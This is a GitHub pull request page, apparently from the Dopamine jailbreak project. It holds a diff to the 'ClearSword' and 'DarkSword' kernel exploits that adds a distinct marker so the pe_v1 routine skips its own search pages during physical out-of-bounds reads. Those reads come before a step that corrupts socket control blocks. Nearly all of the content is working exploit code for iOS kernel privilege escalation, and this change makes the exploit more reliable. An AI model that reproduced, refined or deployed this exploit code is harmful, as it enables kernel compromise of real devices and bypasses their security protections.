Skip to content

pe_v1: recognize own search pages instead of re-racing them as lost races #990

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
kolbicz wants to merge 1 commit into
base: 3.x
Choose a base branch
from
+12 −4
Open

pe_v1: recognize own search pages instead of re-racing them as lost races #990

Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
1 commit
Select commit
File filter

Filter by extension

Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 1 addition & 0 deletions Application/Dopamine/Exploits/ClearSword/exploit/common.h
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -88,6 +88,7 @@ typedef struct pe_context {
int read_fd;

uint64_t random_marker;
uint64_t random_marker_owned;
uint64_t wired_page_marker;

free_thread_shared_t* shared;
Expand Down
7 changes: 5 additions & 2 deletions Application/Dopamine/Exploits/ClearSword/exploit/poc.c
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -120,7 +120,7 @@ kern_return_t pe_v1(void) {

// place marker on start of each page
for (uint64_t k = 0; k < search_mapping_size; k += vm_page_size) {
memcpy((void*)(search_mapping_address + k), &g_ctx.random_marker, sizeof(g_ctx.random_marker));
memcpy((void*)(search_mapping_address + k), &g_ctx.random_marker_owned, sizeof(g_ctx.random_marker_owned));
}

// save the address of the mapping onto the search mappings array
Expand Down Expand Up @@ -184,7 +184,9 @@ kern_return_t pe_v1(void) {
kr = physical_oob_read_mo(memory_object, seeking_offset, g_ctx.oob_size, g_ctx.oob_offset, read_buffer);
if (kr == KERN_SUCCESS) {
// LOG_DEBUG("Finding and corrupting socket...");
if (find_and_corrupt_socket(memory_object, seeking_offset, read_buffer, write_buffer, target_inp_gencnt_list, &target_inp_gencnt_count, false) == KERN_SUCCESS) {
if (*(uint64_t*)read_buffer == g_ctx.random_marker_owned) {
// own search page, not a sprayed PCB; advance to next page
} else if (find_and_corrupt_socket(memory_object, seeking_offset, read_buffer, write_buffer, target_inp_gencnt_list, &target_inp_gencnt_count, false) == KERN_SUCCESS) {
success = true;
break;
}
Expand Down Expand Up @@ -352,6 +354,7 @@ int clearsword_run(void) {
g_ctx.n_of_oob_pages = 2;

arc4random_buf(&g_ctx.random_marker, sizeof(g_ctx.random_marker));
g_ctx.random_marker_owned = g_ctx.random_marker ^ 0x9e3779b97f4a7c15ULL; // distinct from the lost-race sentinel
arc4random_buf(&g_ctx.wired_page_marker, sizeof(g_ctx.wired_page_marker));

g_ctx.default_file_content = calloc(1, g_ctx.target_file_size);
Expand Down
8 changes: 6 additions & 2 deletions Application/Dopamine/Exploits/DarkSword/DarkSword.m
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -53,6 +53,7 @@ void memset64(void *ptr, uint64_t val, size_t size)
int successReadCount = 0;
struct iovec iov;
uint64_t randomMarker;
uint64_t randomMarkerOwned;
uint64_t wiredPageMarker;
mach_port_t pcObject = MACH_PORT_NULL;
mach_vm_address_t pcAddress = 0;
Expand Down Expand Up @@ -138,6 +139,7 @@ void init_globals(void)
gMlockDict = [NSMutableDictionary new];
default_file_content = calloc(1, TARGET_FILE_SIZE);
randomMarker = (uint64_t)arc4random() << 32 | arc4random();
randomMarkerOwned = randomMarker ^ 0x9e3779b97f4a7c15ULL; // distinct from the lost-race sentinel
wiredPageMarker = (uint64_t)arc4random() << 32 | arc4random();

cpu_subtype_t cpusubtype = 0;
Expand Down Expand Up @@ -800,7 +802,7 @@ void pe_v1(void)
FAILURE(0);
}
for (int k = 0; k < searchMappingSize; k += PAGE_SIZE) {
*(uint64_t *)(searchMappingAddress + k) = randomMarker;
*(uint64_t *)(searchMappingAddress + k) = randomMarkerOwned;
}
[searchMappings addObject:@(searchMappingAddress)];
}
Expand Down Expand Up @@ -841,7 +843,9 @@ void pe_v1(void)
while (seekingOffset <= searchMappingSize - pcSize) {
kr = physical_oob_read_mo(memoryObject, seekingOffset, OOB_SIZE, OOB_OFFSET, readBuffer);
if (kr == KERN_SUCCESS) {
if (find_and_corrupt_socket(memoryObject, seekingOffset, readBuffer, writeBuffer, targetInpGencntList, false) == KERN_SUCCESS) {
if (*(uint64_t *)readBuffer == randomMarkerOwned) {
// own search page, not a sprayed PCB; advance to next page
} else if (find_and_corrupt_socket(memoryObject, seekingOffset, readBuffer, writeBuffer, targetInpGencntList, false) == KERN_SUCCESS) {
success = true;
break;
}
Expand Down